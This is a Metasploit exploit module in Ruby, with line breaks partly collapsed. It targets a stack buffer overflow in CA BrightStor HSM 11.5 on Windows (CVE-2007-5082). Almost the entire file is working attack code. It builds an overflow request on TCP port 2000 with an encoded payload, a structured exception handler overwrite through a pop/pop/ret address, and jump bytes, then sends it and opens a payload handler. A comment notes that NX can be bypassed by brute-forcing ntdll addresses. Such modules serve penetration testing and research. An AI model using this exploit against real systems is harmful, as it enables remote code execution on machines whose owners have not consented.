### $Id: hsmserver.rb 9262 2010-05-09 17:45:00Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,'Name' => 'CA BrightStor HSM Buffer Overflow','Description'=> %q{
This module exploits one of the multiple stack buffer overflows in Computer Associates BrightStor HSM.
By sending a specially crafted request, an attacker could overflow the buffer and execute arbitrary code.},'Author' => ['toto'],'License'=> MSF_LICENSE,'Version'=> '$Revision: 9262 $','References' =>
[['CVE','2007-5082'],['OSVDB','41363'],['BID','25823'],],'Privileged' => true,'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload'=>
{'Space'=> 1026,'BadChars' => "\x00\x0a\x0d;",'StackAdjustment' => -3500,},'Platform' => 'win','Targets'=>
[# NX can be bypassed by bruteforcing ntdll addresses as the process is restarted# pop/pop/ret in fpparser.dll (old from 2004)['BrightStor HSM 11.5 Windows All',{'Ret' => 0x12014c78 }],],'DisclosureDate' => 'Sep 27 2007','DefaultTarget' => 0))
register_options([
Opt::RPORT(2000)], self.class)end
def exploit
connect
data =
[42,7,0,0].pack('VVVV')+
payload.encoded +"\xeb\x06"+
Rex::Text.rand_text_alphanumeric(2)+[ target.ret ].pack('V')+"\xe9\xf1\xfb\xff\xff"+
Rex::Text.rand_text_alphanumeric(0x100)
sploit = [data.length + 4].pack('V')+data
print_status("Trying target #{target.name}...")
sock.put(sploit)
handler
disconnect
endend